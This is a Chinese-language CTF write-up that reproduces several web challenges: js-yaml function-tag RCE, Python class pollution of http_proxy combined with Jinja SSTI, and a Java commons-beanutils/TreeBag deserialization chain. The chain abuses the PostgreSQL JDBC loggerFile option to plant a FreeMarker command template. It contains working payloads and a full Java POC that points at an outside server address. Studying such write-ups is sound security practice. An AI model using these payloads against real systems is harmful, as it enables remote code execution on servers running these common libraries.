复现一下安洵的题目 这里就挑几道来复现就行了 复现地址的话在安洵平台上就可以
https://dce.i-soon.net/#/topicBank
直接访问就行了
signal
题目给了附件
⾸先这个题因为是把其他⽂件格式转换为yaml格式然后yaml.load()会加载为js对象

然后就去查这个js-yaml是否存在漏洞 啥的

这是默认为危险模式的最后⼀个版本,该模式允许您使⽤ tag 构造任意 JS 函数。!!js/function
直接去搜索js-yaml RCE 也能搜索到类似的文章
https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/

最终payload
1 2
| "name" : { toString: !!js/function "function(){ flag = process.mainModule.r equire('child_process').execSync('cat /fla*').toString(); return flag;}"}
|
Swagger docs
这个题是比较值得记录的
(这个是在设置http_proxy后 然后可以伪造返回信息的 记录学习一下)

访问给了挺多api接口的 在/api-base/v0/search这个接口处 发现存在任意文件读取

读取启动进程
然后将源码下载下来后进行审计
在update接口能 是存在一个python的原型链污染 熟悉的话应该能直接看出了

在search接口的话是存在这个模板渲染的

但是data不可控 因为他是访问服务器本地的api接口来获取文件

所以我们想控制返回内容来进行模板渲染的话 我们可以污染环境变量http_proxy 来使自己的服务器来当作代理服务器 从而控制返回内容(就是类似于中间人攻击)
python原型链污染
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
{ "__init__": { "__globals__": { "os": { "environ": { "http_proxy":"ip:port" } } } } }
|

然后随便发送一个请求 if request.args.get('type') == "text": type必须为text 不然不会进到模板渲染里
1 2 3
| HTTP/1.1 200 OK
{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}
|

这里就是我们伪造的响应包

结果返回
ez_java
https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#ezjava 参考wp
这个题就是如何连接上CB的断链 就是找新的反序列化入口

给的提示

看下有依赖 发现是存在三个依赖 那么就是用这三个东西来组合打了

在看了眼黑名单 发现是把jackson给过滤掉了 还把cb链的1前半段和后半段触发点给加黑名单了 那么就是用cb链和postgresql组合来打了
(给了docker 看了眼 jdk是高版本 那么jndi和rmi是打不了了)
前半段的话是PriorityQueue 用不了 那么我们就得找别的能序列化 并且能触发compare方法的类了
这里的话是有 treemap和treebag符合条件(这里使用treebag来演示)


这里的map 是指的treemap的实例化对象 跟进treemap的put方法


只要控制了这个comparator这个参数 那么我们就可以完全替代PriorityQueue了
那么我们就剩最后一步了 就是这个getter 这里给的是这个postgresql 于是就猜测是打他的jdbc

因为题目不出网 在加上给的源码中有个index.ftl 就不难想到是写入文件覆盖掉index.ftl里的内容
加上前面题目提示的BaseDataSource类 里面刚好是有个getconnection方法 于是链子就构造完成了

最终POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| package com.ctf.axb;
import com.javasec.utils.SerializeUtils; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.rowset.JdbcRowSetImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections.bag.TreeBag; import org.postgresql.ds.PGConnectionPoolDataSource;
import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.charset.StandardCharsets; import java.rmi.Naming; import java.util.*;
public class demo {
public static void main(String[] args) throws Exception{
PGConnectionPoolDataSource pgConnectionPoolDataSource = new PGConnectionPoolDataSource(); String loggerLevel = "debug"; String loggerFile = "/app/templates/index.ftl"; String shellContent="<#assign ac=springMacroRequestContext.webApplicationContext>\n"+"<#assign fc=ac.getBean('freeMarkerConfiguration')>\n"+"<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>\n"+"<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>/${\"freemarker.template.utility.Execute\"?new()(\"cat /flag\")}"; System.out.println(shellContent); String jdbcUrl = "jdbc:postgresql://"+"47.108.206.43:39201"+"/aaaa?ApplicationName="+"123123123"+"&loggerFile="+loggerFile+"&loggerLevel="+loggerLevel; pgConnectionPoolDataSource.setURL(jdbcUrl); pgConnectionPoolDataSource.setServerNames(new String[]{shellContent}); BeanComparator comparator = new BeanComparator(); SerializeUtils.setFieldValue(comparator, "property", "connection"); TreeBag treeBag = new TreeBag(comparator); TreeMap<Object,Object> m = new TreeMap<>(); SerializeUtils.setFieldValue(m, "size", 2); SerializeUtils.setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger"); Object node = nodeCons.newInstance(pgConnectionPoolDataSource,MutableInteger, null); Object right = nodeCons.newInstance(pgConnectionPoolDataSource, MutableInteger, node);
SerializeUtils.setFieldValue(node, "right", right); SerializeUtils.setFieldValue(m, "root", node); SerializeUtils.setFieldValue(m, "comparator", comparator); SerializeUtils.setFieldValue(treeBag,"map",m); System.out.println(SerializeUtils.base64serial(treeBag)); SerializeUtils.deserTester(treeBag);
} }
|
这里话解释上述代码中几个段的问题

这里话就是实例化TreeMap类中的内部类Entry类 这个类的话是因为内部类 所以需要反射来进行实例化
1
| Object MutableInteger = SerializeUtils.createWithoutConstructor("org.apache.commons.collections.bag.AbstractMapBag$MutableInteger");
|
这一步是对内部类的反射实例化 (只不过因为这个是protected 所以用这个createWithoutConstructor方法来实例化)


这两行的话就是给上面刚刚实例化的Entry内部类的构造函数进行赋值


ai_java
这个题就是SerializedData + LDAP攻击 然后打fastjson
https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/JNDI/#serializeddata--ldap%E6%94%BB%E5%87%BB
这篇文章写的不错